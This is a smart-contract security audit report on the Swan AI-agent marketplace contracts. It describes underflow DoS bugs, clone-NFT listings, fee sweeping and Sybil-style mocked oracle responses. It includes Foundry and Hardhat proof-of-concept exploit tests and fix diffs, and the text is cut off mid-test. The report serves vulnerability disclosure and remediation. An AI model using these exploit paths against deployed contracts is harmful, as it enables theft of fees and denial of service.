Swan Audit Report

Prepared by Cyfrin CodeHawks

Version 1.0

November 28, 2024

Contents

1 About Cyfrin

Cyfrin is a Web3 security company dedicated to bringing industry-leading protection and education to our partners and their projects. Our goal is to create a safe, reliable, and transparent environment for everyone in Web3 and DeFi. Learn more about us at cyfrin.io.

2 Disclaimer

The CodeHawks team makes every effort to find as many vulnerabilities in the code as possible in the given time but holds no responsibility for the findings in this document. A competitive audit does not endorse the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the solidity implementation of the contracts.

3 Risk Classification

	Impact: High	**Impact: Medium**	**Impact: Low**
Likelihood: High	Critical	High	Medium
Likelihood: Medium	High	Medium	Low
Likelihood: Low	Medium	Low	Low

4 Protocol Summary

Swan is structured like a market, where buyers are AI agents. By setting parameters like backstory, behavior, and objective you define how your agent will act. By using the budget you deposit, the agent buys the best items listed based on how aligned they are with its parameters. With each new asset bought, the agent's state changes and the simulation evolves.

5 Audit Scope

```
contracts/
 libraries/
    Statistics.sol
 llm/
    LLMOracleCoordinator.sol
    LLMOracleManager.sol
    LLMOracleRegistry.sol
    LLMOracleTask.sol
 swan/
     BuyerAgent.sol
     Swan.sol
     SwanAsset.sol
     SwanManager.sol
```

6 Executive Summary

Over the course of 7 days, CodeHawks hosted a competitive audit on the Swan smart contracts provided by Dria. In this period, a total of 19 issues were found.

Summary of the audit findings and any additional executive comments.

Summary

Project Name	Swan
Repository	https://github.com/Cyfrin/2024-10-swan-dria
Audit Timeline	Oct 25th - Nov 1st
Methods	Competitive Audit

Issues Found

High Risk	3
Medium Risk	7
Low Risk	9
Total Issues	19

7 Findings

7.1 High Risk Findings

7.1.1 H-01. No protection implemented against listing clone NFTs

Submitted by foxb868, ljj, ChainDefenders, n3smaro. Selected submission by: ljj.

Summary

Any malicious seller can copy the name, symbol and description of any previously listed asset and list it at a 1 wei lower price. In the case of this NFT being selected to be purchased by the system, this malicious seller will guarantee that their asset with lower price would be selected. This will lead to user's copying previously listed NFT's and listing it at a lower price, in a way creating a price race to the bottom.

Vulnerability Details

Any seller can list an NFT with the `list` function.

```
    function list(string calldata _name, string calldata _symbol, bytes calldata _desc, uint256 _price,
    ↪  address _buyer)
        external
    {
        BuyerAgent buyer = BuyerAgent(_buyer);
        (uint256 round, BuyerAgent.Phase phase,) = buyer.getRoundPhase();

        // buyer must be in the sell phase
        if (phase != BuyerAgent.Phase.Sell) {
            revert BuyerAgent.InvalidPhase(phase, BuyerAgent.Phase.Sell);
        }
        // asset count must not exceed `maxAssetCount`
        if (getCurrentMarketParameters().maxAssetCount == assetsPerBuyerRound[_buyer][round].length) {
            revert AssetLimitExceeded(getCurrentMarketParameters().maxAssetCount);
        }

        // all is well, create the asset & its listing
        address asset = address(swanAssetFactory.deploy(_name, _symbol, _desc, msg.sender));
        listings[asset] = AssetListing({
            createdAt: block.timestamp,
            royaltyFee: buyer.royaltyFee(),
            price: _price,
            seller: msg.sender,
            status: AssetStatus.Listed,
            buyer: _buyer,
            round: round
        });

        // add this to list of listings for the buyer for this round
        assetsPerBuyerRound[_buyer][round].push(asset);

        // transfer royalties
        transferRoyalties(listings[asset]);

        emit AssetListed(msg.sender, asset, _price);
    }
```

As observed, this function take the `_name`, `_symbol`, `_desc` and `_price` parameters. Function then deploys a new NFT with these parameters and mints 1 NFT to the `msg.sender`.

```
contract SwanAssetFactory {
    /// @notice Deploys a new SwanAsset token.
    function deploy(string memory _name, string memory _symbol, bytes memory _description, address
    ↪  _owner)
```

```
        external
        returns (SwanAsset)
    {
        return new SwanAsset(_name, _symbol, _description, _owner, msg.sender);
    }
}

/// @notice SwanAsset is an ERC721 token with a single token supply.
contract SwanAsset is ERC721, Ownable {
    /// @notice Creation time of the token
    uint256 public createdAt;
    /// @notice Description of the token
    bytes public description;

    /// @notice Constructor sets properties of the token.
    constructor(
        string memory _name,
        string memory _symbol,
        bytes memory _description,
        address _owner,
        address _operator
    ) ERC721(_name, _symbol) Ownable(_owner) {
        description = _description;
        createdAt = block.timestamp;

        // owner is minted the token immediately
        ERC721._mint(_owner, 1);

        // Swan (operator) is approved to by the owner immediately.
        ERC721._setApprovalForAll(_owner, _operator, true);
    }
}
```

As observed, there are no checks for "clone" inputs. Meaning that any malicious seller can copy the parameters of any previously listed NFT and list it at a 1 wei lower price. In case of an NFT with these parameters being selected, the malicious user would guarantee their NFT at lower price would be selected, putting no work in creating an original NFT and simply copying previously deployed NFTs. This will create a price race to the bottom among users where users would list the NFT with same parameters, each one putting it at 1 wei lower price, breaking the protocols intended use. The AI agents seeing all or most of the NFT's listed having the same properties would choose to purchase the NFT with these properties at the lowest price.

Severity

Impact: High, this vulnerability will break the intended use of the protocol. It will create a price race to the bottom where users list the NFT with same name, symbol and description, each user listing it at 1 wei lower price to ensure their NFT would be chosen by the system.
Likelihood: Low, There are no guarantees that this NFT would be chosen by the system but noticing copies of the same NFTs can manipulate the LLM into thinking this is a good purchase.

Tools Used

Manual review

Recommendations

Implement a for loop in the `list` function that will check the NFT that is being listed against the already listed NFTs. An example for loop is shown below. Keep in mind that this implementation might cost a lot of gas if there are too many listed NFTs.

```
       address[] memory assets = assetsPerBuyerRound[buyer][round];
       for (uint256 i = 0; i < assets.length; i++) {
            IERC721 asset = IERC721(assets[i]);
```

```
            // Retrieve the name and symbol from the asset contract
            string memory assetName = asset.name();
            string memory assetSymbol = asset.symbol();

            // Check if both name and symbol match
            if (keccak256(bytes(assetName)) == keccak256(bytes(targetName)) &&
                keccak256(bytes(assetSymbol)) == keccak256(bytes(targetSymbol))) {
                revert("Asset with matching name and symbol already exists in this round");
            }
        }
```

7.1.2 H-02. Subtraction in `variance()` will revert due to underflow

Submitted by volodya, johnkurus, Sickurity, newspacexyz, aksoy, tigerfrake, professoraudit, n1punp, mohammadx2049, 0xbeastboy, auditism, greese, matejdb, ChainDefenders, bareli, danzero, ericselvig, tmotfl, shui, oluwaseyisekoni, elser17, galturok, jiri123, 0xgondar, acai, x0t0wt1w, pyro, anonymousjoe, zraxx, dimulski, 0xvd, 0xrs, kirobrejka, neilalois, goran, zxriptor, merlin, 0xbug, tejaswarambhe, yaioxy, chaossr, silver_eth, 0xhals, tychaios, drynooo, kunhah, chasingbugs, bydlife, v1vah0us3, carrotsmuggler, saurabh_singh, dianivanov, 0xlouistsai, vasquez, emmanuel, 0x11singh99, z3r0, j1v9, 0xpinky, 0xlookman, m4k2xmk, alqaqa, inh3l, mikb. Selected submission by: kunhah.

Summary

The function `variance()` in Statistics.sol subtracts the average from each number in the array but the type is uint, because of that the function will revert unless all numbers are the same

Vulnerability Details

The function `variance()` does a subtraction by iterating on every number on the array and subtracting by the average that was previously calculated

```
function variance(uint256[] memory data) internal pure returns (uint256 ans, uint256 mean) {
        mean = avg(data);
        uint256 sum = 0;
        for (uint256 i = 0; i < data.length; i++) {
            uint256 diff = data[i] - mean;
            sum += diff * diff;
        }
        ans = sum / data.length;
    }
```

The problem is that uint does not support negative values, because of that all subtractions that result in a negative amount will revert, and since it is the average of the numbers in the array, it will revert if the average is bigger than one of the numbers of the array, because of that, the only case it will not revert is if all numbers in the array are equal, and that is unlikely to happen.

Severity

This function is called in the `finalizeValidation()` function, which is called in the end of the `validate()` function, because of that, almost all calls to `validate()` will revert, for this reason I believe it is a high.

Proof of Code

Install foundry, create a file in a subfolder in the test folder, and paste this:

```
// SPDX-License-Identifier: Apache-2.0
pragma solidity ^0.8.20;

import { Test } from "../../lib/forge-std/src/Test.sol";
import { console } from "../../lib/forge-std/src/console.sol";

contract Statistics {
```

```
    function avg(uint256[] memory data) internal pure returns (uint256 ans) {
        uint256 sum = 0;
        for (uint256 i = 0; i < data.length; i++) {
            sum += data[i];
        }
        ans = sum / data.length;
    }

    function variance(uint256[] memory data) internal pure returns (uint256 ans, uint256 mean) {
        mean = avg(data);
        uint256 sum = 0;
        for (uint256 i = 0; i < data.length; i++) {
            uint256 diff = data[i] - mean;
            sum += diff * diff;
        }
        ans = sum / data.length;
    }

    function stddev(uint256[] memory data) internal pure returns (uint256 ans, uint256 mean) {
        (uint256 _variance, uint256 _mean) = variance(data);
        mean = _mean;
        ans = sqrt(_variance);
    }

    function sqrt(uint256 x) internal pure returns (uint256 y) {
        uint256 z = (x + 1) / 2;
        y = x;
        while (z < y) {
            y = z;
            z = (x / z + z) / 2;
        }
    }
}

contract TestLib is Test, Statistics {

    function test_testAvg(uint256 number1, uint256 number2, uint256 number3, uint256 number4, uint256
    ↪  number5) public {
        uint256[] memory data = new uint256[]();
        data[0] = number1 % 1e50;
        data[1] = number2 % 1e50;
        data[2] = number3 % 1e50;
        data[3] = number4 % 1e50;
        data[4] = number5 % 1e50;
        require(number1 != number2, "test_testAvg: numbers must be different");
        uint256 ans = avg(data);
        //console.log(ans);
    }

    function test_testStddev(uint256 number1, uint256 number2, uint256 number3, uint256 number4,
    ↪  uint256 number5) public {
        uint256[] memory data = new uint256[]();
        data[0] = number1 % 1e50;
        data[1] = number2 % 1e50;
        data[2] = number3 % 1e50;
        data[3] = number4 % 1e50;
        data[4] = number5 % 1e50;
        require(number1 != number2, "test_testStddev: numbers must be different");
        vm.expectRevert();
        (uint256 ans, uint256 mean) = stddev(data);
    }
```

```
    function test_testSqrt() public {
        uint256 x = 16;
        uint256 ans = sqrt(x);
        //console.log(ans);
    }

    function test_testVariance(uint256 number1, uint256 number2, uint256 number3, uint256 number4,
    ↪   uint256 number5) public {
        uint256[] memory data = new uint256[]();
        data[0] = number1 % 1e50;
        data[1] = number2 % 1e50;
        data[2] = number3 % 1e50;
        data[3] = number4 % 1e50;
        data[4] = number5 % 1e50;
        require(number1 != number2, "test_testVariance: numbers must be different");
        vm.expectRevert();
        (uint256 ans, uint256 mean) = variance(data);
    }
}
```

All calls to `stddev()` and `variance()` will revert as expected. The 1e50 limit is to avoid overflows that will fail the test.

Tools Used

Foundry

Recommendations

Cast to int256 when calculating, the multiplication by itself will make the number always positive afterwards:

```
function variance(uint256[] memory data) internal pure returns (uint256 ans, uint256 mean) {
        mean = avg(data);
        uint256 sum = 0;
        for (uint256 i = 0; i < data.length; i++) {
-            uint256 diff = data[i] - mean;
+           int256 diff = int256(data[i]) - int256(mean);
-            sum += diff * diff;
+           sum += uint256(diff * diff);
        }
        ans = sum / data.length;
    }
```

7.1.3 H-03. Potential underflow vulnerability in score range calculation of `LLMOracleCoordinator::finalizeValidation`, leading to DoS.

Submitted by volodya, Sickurity, newspacexyz, aksoy, auditweiler, ChainDefenders, matejdb, 0xbeastboy, oluwaseyisekoni, galturok, pyro, anonymousjoe, tmotfl, 0xvd, 0xrs, elser17, neilalois, merlin, zxriptor, drynooo, v1vah0us3, goran, alqaqa, m4k2xmk, ericselvig, mikb, saurabh_singh. Selected submission by: v1vah0us3.

Summary

The `LLMOracleCoordinator::finalizeValidation` function calculates the range for valid scores depending on the result of the expression `score >= _mean - _stddev`. If `_mean` is less than `_stddev`, this calculation leads to an underflow error, causing a revert that will fail the transaction. This behavior prevents successful validation completion and rewards distribution, disrupting normal contract operations and usability.

Description

In the `LLMOracleCoordinator::finalizeValidation` function, scores are evaluated within a standard deviation range around the mean, using the criteria `(_mean - _stddev)` and `(_mean + _stddev)`, see [https://github.com/madeupnamefinance/2024-10-swan-dria/blob/main/contracts/llm/LLMOracleCoordinator.sol#L343]:

```
if ((score >= _mean - _stddev) && (score <= _mean + _stddev))
```

However, in cases where `_mean < _stddev`, such as some valid edge case where for example `scores[] = [0,1,0,1,2]`, the calculation of `_mean - _stddev` attempts to produce a negative value.

Since Solidity's uint256 type does not support negative numbers, this results in an underflow, triggering an automatic revert and causing the transaction to fail. The edge case described results in `_stddev = 1` and `_mean = 0`, which causes the check `score >= _mean - _stddev` to revert, as `_mean - _stddev` evaluates to a negative result.

The same issue exists also in [https://github.com/madeupnamefinance/2024-10-swan-dria/blob/main/contracts/llm/LLMOracleCoordinator.sol#L368]:

Exploit Scenario

For the input `scores[] = [0, 1, 0, 1, 2]`, the standard deviation and mean calculated by `Statistics.stddev(scores)` in `LLMOracleCoordinator::finalizeValidation` are `_stddev = 1` and `_mean = 0`. Note that the calculation using the `Statistics.sol` library would be successful in this case. That can be quickly checked in Remix:

```
decoded input   {
            "uint256[] data": [
                    "0",
                    "1",
                    "0",
                    "1",
                    "2"
                ]}
decoded output  {
            "0": "uint256: ans 1",
            "1": "uint256: mean 0"
                }
```

When performing the range check in `(score >= _mean - _stddev)` (see [https://github.com/madeupnamefinance/2024-10-swan-dria/blob/main/contracts/llm/LLMOracleCoordinator.sol#L343]), the `_mean - _stddev` calculation attempts to compute 0 - 1, which underflows as it is not representable within the unsigned integer type, triggering a revert. The same problem was also found at [https://github.com/madeupnamefinance/2024-10-swan-dria/blob/main/contracts/llm/LLMOracleCoordinator.sol#L368].

#Proof of Code

For the proof of concept, we will stick to the same score values as shown in the section above. Here is the test case and setup, please paste it into the `LLMOracleCoordinator.test.ts` file and adjust the `this.beforeAll(async function ())` section with additional validators, like this:

```
// Add validators to the setUp
this.beforeAll(async function () {
    // assign roles, full = oracle that can do both generation & validation
    const [deployer, dum, req1, gen1, gen2, gen3, gen4, gen5, val1, val2, val3, val4, val5] = await
    ↪  ethers.getSigners();
    dria = deployer;
    requester = req1;
    dummy = dum;
    generators = [gen1, gen2, gen3, gen4, gen5];
    validators = [val1, val2, val3, val4, val5];
    ...........
    ...........
    ...........
describe("underflow in score range calculation", function () {
    const [numGenerations, numValidations] = [1, 5];
    const scores = [
        parseEther("0"),
        parseEther("0.000000000000000001"),
```

```
    parseEther("0"),
    parseEther("0.000000000000000001"),
    parseEther("0.000000000000000002")
];
let generatorAllowancesBefore: bigint[];
let validatorAllowancesBefore: bigint[];

this.beforeAll(async () => {
    taskId++;

    generatorAllowancesBefore = await Promise.all(
        generators.map((g) => token.allowance(coordinatorAddress, g.address))
    );
    validatorAllowancesBefore = await Promise.all(
        validators.map((v) => token.allowance(coordinatorAddress, v.address))
    );
});

it("should make a request", async function () {
    await safeRequest(coordinator, token, requester, taskId, input, models, {
        difficulty,
        numGenerations,
        numValidations,
    });
});

it("should respond to each generation", async function () {
  const availableGenerators = generators.length;
  const generationsToRespond = Math.min(numGenerations, availableGenerators);

  expect(availableGenerators).to.be.at.least(generationsToRespond);

  for (let i = 0; i < generationsToRespond; i++) {
      await safeRespond(coordinator, generators[i], output, metadata, taskId, BigInt(i));
  }
});


// UNDERFLOW TEST
it("it should underflow calculating score ranges for inner mean", async function () {
  const requestBefore = await coordinator.requests(taskId);
  console.log(`Request status before validation: ${requestBefore.status}`);

  for (let i = 0; i < numValidations; i++) {
      console.log(`Validating with validator at index ${i} with address: ${validators[i].address}`);
      console.log(`Score being used: ${scores[i].toString()}, Task ID: ${taskId}`);


      try {
          if (i < numValidations - 1) {

              await safeValidate(coordinator, validators[i], [scores[i]], metadata, taskId,
              ↪  BigInt(i));
              console.log(`Validation succeeded for validator at index ${i}`);
          } else {
            // For the last validator, expect a revert without a specific error
            await safeValidate(coordinator, validators[i], [scores[i]], metadata, taskId,
            ↪  BigInt(i));
            console.log(`Validation succeeded for validator at index ${i}`); // This should not run
            ↪  if it reverts
        }
      } catch (error:any) {
```

```
            if (i < numValidations - 1) {
                console.error(`Validation failed for validator at index ${i} with error:
                ↪  ${error.message}`);
            } else {
              if (error instanceof Error) {
                console.error(`Validation failed for validator at index ${i}: ${error.message}`);
            } else {
                console.error(`Validation failed for validator at index ${i}:
                ↪  ${JSON.stringify(error)}`);
            }
          }
        }
    }

    // Confirm the tasks status
    const finalRequest = await coordinator.requests(taskId);
    console.log(`Request status after all validations: ${finalRequest.status}`);

    // Confirm the status is still 'PendingValidation'
    expect(finalRequest.status).to.equal(TaskStatus.PendingValidation);
  });
});
```

The test can be run with `yarn test ./test/LLMOracleCoordinator.test.ts --verbose` . Here are the logs:

```
Request status before validation: 2
Validating with validator at index 0 with address: 0x23618e81E3f5cdF7f54C3d65f7FBc0aBf5B21E8f
Score being used: 0, Task ID: 3
Validation succeeded for validator at index 0
Validating with validator at index 1 with address: 0xa0Ee7A142d267C1f36714E4a8F75612F20a79720
Score being used: 1, Task ID: 3
Validation succeeded for validator at index 1
Validating with validator at index 2 with address: 0xBcd4042DE499D14e55001CcbB24a551F3b954096
Score being used: 0, Task ID: 3
Validation succeeded for validator at index 2
Validating with validator at index 3 with address: 0x71bE63f3384f5fb98995898A86B02Fb2426c5788
Score being used: 1, Task ID: 3
Validation succeeded for validator at index 3
Validating with validator at index 4 with address: 0xFABB0ac9d68B0B445fB7357272Ff202C5651694a
Score being used: 2, Task ID: 3
Validation failed for validator at index 4: VM Exception while processing transaction: reverted with
↪  panic code 0x11 (Arithmetic operation overflowed outside of an unchecked block)
Request status after all validations: 2
```

As you can see from the error logs, the transaction failed with an error message: `panic code 0x11 (Arithmetic operation overflowed outside of an unchecked block)`. And the problem was not the use of a buggy `Statistics.sol` library, but the logic behind the score range calculation in `LLMOracleCoordinator::finalizeValidation`.

Severity

Tasks with scores causing `_mean < _stddev` cannot complete, leading to a halt in the validation process and blocking reward distribution. Since scores submitted by prior validators to the `TaskValidation` struct array are immutable, tasks may become permanently locked in `PendingValidation` status, posing a potential DoS vulnerability.

Tools Used

Manual Code Review, Remix, Hardhat

Recommendations

`LLMOracleCoordinator::finalizeValidation` needs to be refactored. You could think about rewriting both underflow-prone conditions in `finalizeValidation` using only addition operations, adjusting the logic to avoid subtraction:

```
for (uint256 v_i = 0; v_i < task.parameters.numValidations; ++v_i) {
    uint256 score = scores[v_i];
-    if ((score >= _mean - _stddev) && (score <= _mean + _stddev)) {
+    if ((score + _stddev >= _mean) && (score <= _mean + _stddev))
        innerSum += score;
        innerCount++;

        _increaseAllowance(validations[taskId][v_i].validator, task.validatorFee);
        }
    }
    ........
    ........
for (uint256 g_i = 0; g_i < task.parameters.numGenerations; g_i++) {
    // ignore lower outliers
-    if (generationScores[g_i] >= mean - generationDeviationFactor * stddev) {
+    if (generationScores[g_i] + generationDeviationFactor * stddev >= mean)
        _increaseAllowance(responses[taskId][g_i].responder, task.generatorFee);
    }
}
```

After applying the suggested fixes, the issues are mitigated. Adjust the last line in the PoC to `expect(finalRequest.status).to.equal(TaskStatus.Completed);` and run the test with `yarn test ./test/LLMOracleCoordinator.test.ts`, it will pass.

7.2 Medium Risk Findings

7.2.1 M-01. Platform fees withdrawal will sweep oracle agents earned fees

Submitted by greese, newspacexyz, Sickurity, yxsec, auditweiler, auditism, robertodf99, ChainDefenders, gaurav11018, 0xnbvc, acai, n3smaro, aak, pyro, 0xvd, merlin, dimulski, cryptozaki, silver_eth, josh4324, drynooo, aestheticbhai, seclabs, goran, yotov721, ericselvig, tihomirchobanov, lazydog, johny7173, Gladiators, alqaqa, yaioxy, 0xlookman, sovaslava. Selected submission by: robertodf99.

Summary

Oracle agents earn a portion of user-paid fees if their responses fall within established accuracy boundaries, defined by a specific range of standard deviations. Rather than directly transferring these fees to the agents, `LLMOracleCoordinator.sol` grants them an approval to spend the fees. Additionally, there is a protocol admin function to withdraw the platform fees along with any residual fee tokens remaining in the contract. However, because oracle agents are only granted approval (not ownership) of the fees, any fees they have not yet withdrawn may be inadvertently collected by the protocol when the admin executes a platform fee withdrawal.

Vulnerability Details

Oracle agents must quickly transfer their earned fees to another address before the protocol sweeps the contract's funds, potentially leaving it empty. If they fail to do so, they must wait until the contract's balance increases to an amount they can claim before others do.

Severity

The issue can be tested using the following PoC in Foundry:

```
// SPDX-License-Identifier: Apache-2.0
pragma solidity ^0.8.20;

import {Vm, Test} from "forge-std/Test.sol";
import {console2} from "forge-std/console2.sol";
```

```
import {Swan} from "../src/swan/Swan.sol";
import {BuyerAgent} from "../src/swan/BuyerAgent.sol";
import {LLMOracleCoordinator} from "../src/llm/LLMOracleCoordinator.sol";
import {LLMOracleRegistry, LLMOracleKind} from "../src/llm/LLMOracleRegistry.sol";
import {MockToken} from "./mock/MockToken.sol";
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import {LLMOracleTaskParameters, LLMOracleTask} from "../src/llm/LLMOracleTask.sol";
import {IERC20Errors} from "@openzeppelin/contracts/interfaces/draft-IERC6093.sol";
import {SwanMarketParameters} from "../src/swan/SwanManager.sol";
import {SwanAssetFactory, SwanAsset} from "../src/swan/SwanAsset.sol";
contract BaseTest is Test {
    LLMOracleRegistry registry;
    LLMOracleCoordinator coordinator;
    MockToken mocktoken;
    Swan swan;
    BuyerAgent buyerAgent;
    address requester = makeAddr("requester");
    // Mocks the oracle LLM
    address responder = makeAddr("responder");
    // Address whose buyer agent will acquire listed assets
    address buyer = makeAddr("buyer");

    // Proxies deployment part 1
    function setUp() public {
        LLMOracleRegistry registryImpl = new LLMOracleRegistry();
        mocktoken = new MockToken("Mock Token", "MT");
        uint256 generatorStake = 1;
        bytes memory _data = abi.encodeWithSignature(
            "initialize(uint256,uint256,address)",
            generatorStake,
            0,
            address(mocktoken)
        );
        ERC1967Proxy registryProxy = new ERC1967Proxy(
            address(registryImpl),
            _data
        );
        registry = LLMOracleRegistry(address(registryProxy));
        LLMOracleCoordinator coordinatorImpl = new LLMOracleCoordinator();
        uint256 _platformFee = 0.001 ether;
        uint256 _generationFee = 0.001 ether;
        uint256 _validationFee = 0.001 ether;

        _data = abi.encodeWithSignature(
            "initialize(address,address,uint256,uint256,uint256)",
            address(registry),
            address(mocktoken),
            _platformFee,
            _generationFee,
            _validationFee
        );
        ERC1967Proxy coordinatorProxy = new ERC1967Proxy(
            address(coordinatorImpl),
            _data
        );
        coordinator = LLMOracleCoordinator(address(coordinatorProxy));
        deploySwanAndAgent();
    }

    // Deployments function part 2 to avoid stack to deep error
    function deploySwanAndAgent() public {
        SwanAssetFactory assetFactory = new SwanAssetFactory();
```

```
        Swan swanImpl = new Swan();
        SwanMarketParameters memory marketParams = SwanMarketParameters({
            withdrawInterval: uint256(1 weeks),
            sellInterval: uint256(1 weeks),
            buyInterval: uint256(1 weeks),
            platformFee: uint256(1),
            maxAssetCount: uint256(100),
            timestamp: uint256(block.timestamp)
        });
        LLMOracleTaskParameters memory oracleParams = LLMOracleTaskParameters({
            difficulty: uint8(1),
            numGenerations: uint40(1),
            numValidations: uint40(0)
        });

        bytes memory _data = abi.encodeWithSelector(
            Swan(address(swanImpl)).initialize.selector,
            marketParams,
            oracleParams,
            address(coordinator),
            address(mocktoken),
            address(1),
            assetFactory
        );

        ERC1967Proxy swanProxy = new ERC1967Proxy(address(swanImpl), _data);
        swan = Swan(address(swanProxy));

        string memory _name = "buyer agent";
        string memory _description = "buyer agent";
        uint96 _royaltyFee = 1;
        uint256 _amountPerRound = type(uint256).max;
        address _operator = address(swan);
        address _owner = buyer;
        buyerAgent = new BuyerAgent(
            _name,
            _description,
            _royaltyFee,
            _amountPerRound,
            _operator,
            _owner
        );
    }

    function testSweepFunds() public {
        bytes32 protocol = "protocol";
        bytes memory input = "input";
        bytes memory models = "models";
        LLMOracleTaskParameters memory oracleParams = LLMOracleTaskParameters({
            difficulty: 1,
            numGenerations: 1,
            numValidations: 0
        });
        deal(address(mocktoken), requester, 1 ether);
        vm.startPrank(requester);
        mocktoken.approve(address(coordinator), type(uint256).max);
        // request to the coordinator paying the corresponding protocol and generation fees
        coordinator.request(protocol, input, models, oracleParams);
        vm.stopPrank();
        deal(address(mocktoken), responder, 1 ether);
        vm.startPrank(responder);
        mocktoken.approve(address(registry), type(uint256).max);
```

```
        LLMOracleKind oracleKind = LLMOracleKind.Generator;
        registry.register(oracleKind);
        uint256 taskId = 1;
        uint256 nonce = 123;
        bytes memory output = "output";
        bytes memory metadata = "metadata";
        // response from the LLM, since there is no validation the fee is granted right away
        coordinator.respond(taskId, nonce, output, metadata);
        uint256 generatorAllowance = mocktoken.allowance(
            address(coordinator),
            responder
        );
        assertEq(generatorAllowance, 0.004 ether); // diff*fee
        vm.stopPrank();
        // owner sweeps funds from the contract
        coordinator.withdrawPlatformFees();
        vm.prank(responder);
        vm.expectRevert(
            abi.encodeWithSelector(
                IERC20Errors.ERC20InsufficientBalance.selector,
                address(coordinator),
                0,
                0.004 ether
            )
        );
        // LLM oracle cannot access the granted funds
        mocktoken.transferFrom(address(coordinator), responder, 0.004 ether);
    }
}
```

Here you can also find the code for the mock token:

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract MockToken is ERC20 {
    constructor(
        string memory name_,
        string memory symbol_
    ) ERC20(name_, symbol_) {
        _mint(msg.sender, 100 ether);
    }
}
```

Tools Used

Manual review.

Recommendations

Maintain a separate record of funds allocated to oracle agents, subtracting these from the total contract balance during platform fee withdrawals. This will ensure that agents' earned fees are preserved when the protocol withdraws platform fees and other residual tokens.

7.2.2 M-02. Request responses and validations can be mocked leading to extraction of fees and/or forcing other generators to lose their fees by making them outliers

Submitted by ethworker, Sickurity, auditweiler, newspacexyz, ChainDefenders, auditism, 0xnbvc, dimulski, matejdb, zxriptor, greese, galturok, jiri123, elser17, tejaswarambhe, yaioxy, silver_eth, saurabh_singh, abhishekthakur, ericselvig, emmanuel, 0rpseqwe, johny7173, Gladiators, bbash, m4k2xmk. Selected submission by: johny7173.

Summary

The `respond` and `validate` functions can be mocked which will lead to attacker getting the generation and validation fees without providing valid responses, and could also lead to attacks against other generator/validators in order to force them lose their generation/validation fees.

Vulnerability Details

The `LLMOracleRegistry` allows any address to `register` and `unregister` at any time. An attacker can register multiple generators/validators and call `respond` and `validate` with invalid `output`/`scores` with as low `generatorStakeAmount`/`validatorStakeAmount` whichever is greater. This can be done by calling `register` -> `respond` -> `unregister` for as many generations needed, and then `register` -> `validate` -> `unregister` for as many validations needed.

Severity

It will lead to lost generation and validation fees while getting invalid `output` values. Furthermore, this attack can be used in order to force a legitimate `generator`/`validator` appear as an outlier and lose their generation/validation fee.

Proof of Code Mocking responses and validations on requests

Overview

The attacker registers mock generators, responds with invalid output values and unregisters, repeating the same procedure with mock validators.

Actors

- **Attacker**: The address which will fund the mock generators and mock validators.
- **Victim**: The buyer which submitted a purchase request.

Test Case

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import {Test, console} from "forge-std/Test.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import {Swan} from "../contracts/swan/Swan.sol";
import {SwanMarketParameters} from "../contracts/swan/SwanManager.sol";
import {LLMOracleTaskParameters} from "../contracts/llm/LLMOracleTask.sol";
import {LLMOracleCoordinator} from "../contracts/llm/LLMOracleCoordinator.sol";
import {LLMOracleRegistry, LLMOracleKind} from "../contracts/llm/LLMOracleRegistry.sol";
import {BuyerAgentFactory, BuyerAgent} from "../contracts/swan/BuyerAgent.sol";
import {SwanAssetFactory, SwanAsset} from "../contracts/swan/SwanAsset.sol";

contract MockERC20 is ERC20 {
    constructor(string memory _name, string memory _symbol) ERC20(_name, _symbol) {}
}

contract POC is Test {
    IERC20 dria;
    LLMOracleCoordinator coordinator;
    LLMOracleRegistry registry;
    address buyerAgentFactory;
    address swanAssetFactory;
```

```
Swan swan;

uint256 maxAssetCount = 5;
uint256 withdrawInterval = 30 minutes;
uint256 sellInterval = 60 minutes;
uint256 buyInterval = 20 minutes;
uint256 numGenerations = 5;
uint256 numValidations = 5;
uint256 generatorStakeAmount = 100 ether;
uint256 validatorStakeAmount = 100 ether;
uint8 difficulty = 10;
uint256 generationFee = 0.02 ether;
uint256 validationFee = 0.03 ether;

function setUp() public {
    // Buyer Agent Factory setup
    buyerAgentFactory = address(new BuyerAgentFactory());

    // Swan Asset Factory setup
    swanAssetFactory = address(new SwanAssetFactory());

    // dria token setup
    dria = IERC20(new MockERC20("dria", "dria"));

    // Oracle Registry setup
    address impl = address(new LLMOracleRegistry());
    bytes memory data =
        abi.encodeCall(LLMOracleRegistry.initialize, (generatorStakeAmount, validatorStakeAmount,
        ↪  address(dria)));
    address proxy = address(new ERC1967Proxy(impl, data));
    registry = LLMOracleRegistry(proxy);

    // Oracle Coordination setup
    impl = address(new LLMOracleCoordinator());
    uint256 platformFee = 1;

    data = abi.encodeCall(
        LLMOracleCoordinator.initialize,
        (address(registry), address(dria), platformFee, generationFee, validationFee)
    );
    proxy = address(new ERC1967Proxy(impl, data));
    coordinator = LLMOracleCoordinator(proxy);

    // swan setup
    impl = address(new Swan());
    LLMOracleTaskParameters memory llmParams = LLMOracleTaskParameters({
        difficulty: difficulty,
        numGenerations: uint40(numGenerations),
        numValidations: uint40(numValidations)
    });
    SwanMarketParameters memory swanParams = SwanMarketParameters({
        withdrawInterval: withdrawInterval,
        sellInterval: sellInterval,
        buyInterval: buyInterval,
        platformFee: 1,
        maxAssetCount: maxAssetCount,
        timestamp: 0
    });
    data = abi.encodeCall(
        Swan.initialize,
        (swanParams, llmParams, address(coordinator), address(dria), buyerAgentFactory,
        ↪  swanAssetFactory)
```

```
        );
        proxy = address(new ERC1967Proxy(impl, data));
        swan = Swan(proxy);
    }

    function test_PoC() public {
        address buyer = makeAddr("buyer");

        // #### User creating a purchase request ###

        uint96 feeRoyalty = 1;
        uint256 amountPerRound = 0.1 ether;
        vm.startPrank(buyer);
        // buyer setting up his agent
        BuyerAgent agent = swan.createBuyer("agent/1.0", "Testing agent", feeRoyalty, amountPerRound);

        // skip sell phase, get into buy phase
        vm.warp(block.timestamp + sellInterval + 1);

        // airdrop fees to agent for the request
        (uint256 totalFee,,) = coordinator.getFee(agent.swan().getOracleParameters());
        deal(address(dria), address(agent), totalFee);

        // buyer calling oracle purchase request, to "ask" oracles to submit responds
        bytes memory input = bytes("test input");
        agent.oraclePurchaseRequest(input, bytes("test models"));
        vm.stopPrank();

